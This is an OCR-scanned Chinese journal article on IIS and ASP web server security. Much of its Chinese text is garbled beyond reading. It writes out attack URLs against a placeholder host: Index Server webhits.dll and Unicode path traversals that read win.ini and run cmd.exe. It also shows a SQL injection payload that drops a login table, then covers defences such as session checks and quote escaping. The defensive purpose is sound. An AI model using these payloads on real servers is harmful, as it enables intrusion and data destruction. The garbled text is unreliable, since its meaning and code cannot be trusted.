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IIS( Internet Information Server) B ##/2 ) = HERY
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1.1.1 Index Server i&iE
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$K157% 40 examp. asp LIRS

hitp.//www. targethost. com/null. hiw? Ciweb-
hitsfile =/examp. asp

(2) Webhits. dll #1 htw JFE, NRWAT R
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T A ERBE RGP LHRIRE (4 win. Ini 32
) . hitp.//www. targethost. com/lissamples/issam-
ples/oop/ gfullhit. htw?

Ciwebhitsfile =/../../winnt/win. ini&irestriction
=none&ihilitetype =full
1.1.2 Unicode BT8R %F
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http . //www. targethost. com/scripts/. . % c1% 1c. . /wi-
nnt/system32/cmd. exe? /c +dir
HR,FIBEXNMRBTAETREXHERNS:
http.//www. targethost. com/a. asp/..% ¢1%
1c.. /.. % c1% 1c. . /winnt/win. ini
1.1.3 NT Slte Server Adsamples 3R

RMENRBERT TREAM® S btip.//www. tar-
gethost. com/adsamples/ config/site. csc 3t o AR 1%
¥ 3 FEch 19 DSN UID #0 PASS & W % {5 B
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1.2.2 BEZITHE SQL Injection ik

SQL Injection E A 235 FI| /8 # 1B MM BB RE OIS
HEBEBARIEIRERIIED, NTIEBANREBIEE
DHEZRGHNBER ., B% W EHE BRI REHAE SQL
BAREEBER. ¥ FTHEHBAEREIL ASP 12
F

usemname =request. form (" username” )

password = request. form (" password” )

strsgl =" select * from login where username ="
&username & ‘and password =™ & password &' ™

set RS = conn. execute  strsql)

MNEFTMAETAR ARG SQL 1E6), MIRR"
usemname:li”_ _, password. abcl23” N TG F F &
strsql 4§ 4" select « from login where username =i
“__and password =abc123™ ,FAF S __"#E SQL R
RTER,AENABZHIRAT, FBE B AR
ANRAALR  MAEHB,

ANRE R 1915 SQL 15 G) M Bk & login: RZX"
username ; lidrop table login _ _, password.abc123" ,
N &8 F 1 strsql 5T H" select * from login where

username = “li"drop table login _ _“ond password ="~

abci23™
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Debug =true
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Log =on
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HEFNIER Y, NSGIAERRRRIE— ML, B
SRR EIB R ARS8 L R B, B web 35 2/
SSLZ2et, BT SSLERENHE, RB SSL AWM
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A URL AR ENRE B, A hitps. /7,
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2.1.4 HAMZLMEN

X F IS AR 55, £ it @ web 35 S FIP 35 S iR 2
NNTP SMTP fR &5 4B & B I Ur FORE WX ¥ 28 18 K MY
TCP %NS, % AAVIR A S % . WAW 2 80,FTP £ 21,
SMIP 2 25, mREM T DUBI 3RO SRES IS fR
FHNEEM, TR, NREHNTIHORE, AFHE
THOSHBAATRANE, YREAIHBEEE
FEwAS,
2.2 ASP fyR2BHP

HEB % ASP & TR il B ROR, g S IR B
HNZEHTMARRRZERGR, AARRBLVAR
HAVENRS , BAZHRB—MRS, HEZEX L
AN B R R A 2 AR V5 X MR AT S AR
&R, 1 1A IS &) Index Server FR 55, B O i %
Webhits. dlil 0 htw %@ o
2.2.1 F|A Session 3 R 1T iEMEUE

HBAIE R FME B PSSR B AR
F# 4, o LAK A Session it Rk T i M IIE, Session
MRJBAAERBTUIERBFOERRE TX, ik
BRI TR o

W TSR B MR ThE R4 /2 5h hrmis.
asp? page =1F1H, &K A Session 3 47 3% Mt
Sk, U A3 R 72 BS =% R R\ URL/ hrmis. asp? page
=1"RIa i SR, B ARG, F| A Session
MNRTABFRE X — R E L, HXNEFRD
W

<%

IR A P\ B S A0 B 40

UserlD = Request( “UserlD" )

Password = Request( “Password" )

“#&# UserlD % Password 2 & IE 5

If UserlD < > “hrmis” Or Password < >

“ password” Then

Response. Write “ k-5 41% 1"

Response. End

End If

4§ Session X} 1% B 9BIT PR A

Session( “Passed” ) = True
% >

AN BERFR, @E#TERIE:

<%

MR KBTI IR G Login KA

If Not Session( “Passed” ) Then

Response. Redirect “login. htm”

End If
% >
2.2.2 SQL Injection BA1AFLA

(1) TRFHFS"™ "™ LRA"" " T {E R EL re-
place( AR ,“™,"" " ) EXLH,

(2) REBARS: RAFRMABENAR, HNE
HiRR WA HMERNR R

(3) AEFEHEIEEBREER sa MREEL
i FE SQAL Server,
2.2.3 MEESUHER NTFS 483

NTFS {75 FAT F1 FAT32 ET B B A IheE, M
BXABEZHRERFITNEE, T AN TE R X
BEAENFENR. 1R web REREZREKIE
17, T IRAR S5 78 L AT A O RE £ 4y X &R /& NTFS 483X,
I ARERSE B ITA convert 1§ FAT XK L
T EEBE NS B, w177 TH1T . convert
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(2) X ASP STHFFNEAth & & M)A 49 3T ( 40 HTML
XHE) ERARME FARATF " 8" A" R,

(3) WEE ASP XHMEMBEHRT“IR" F
BEE1TAISCHF (40 EXE FO DL XU ) IR B

AT R RT" o
2.2.5 ¥ COM / DCOM ‘A& 35 pAK

EAP X P RBERTEDVHABERD, ST
BERIPFMENEEZMA 3 F)—1 COM / DCOM £
&, H 7 ASP SIRiZB 4, RIS BHERA A,
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(F#% 48 W)

Practical Experience gk 91
O GHENRFKRA) HIBER http://www.c-s-a.org.cn



(L% NM)
BAREEE, RBRERIEXLBERBASHERE L
# B E R BINB AT ERAR P ASP IERD,
MBERZ B) BRI 3507 S 24 T ScelOchs. exe Hn#
BEF  RETEE, B4 Srenc. exe X #,1E 17
“screnc - Ivbscript source. asp desfination. asp” 450
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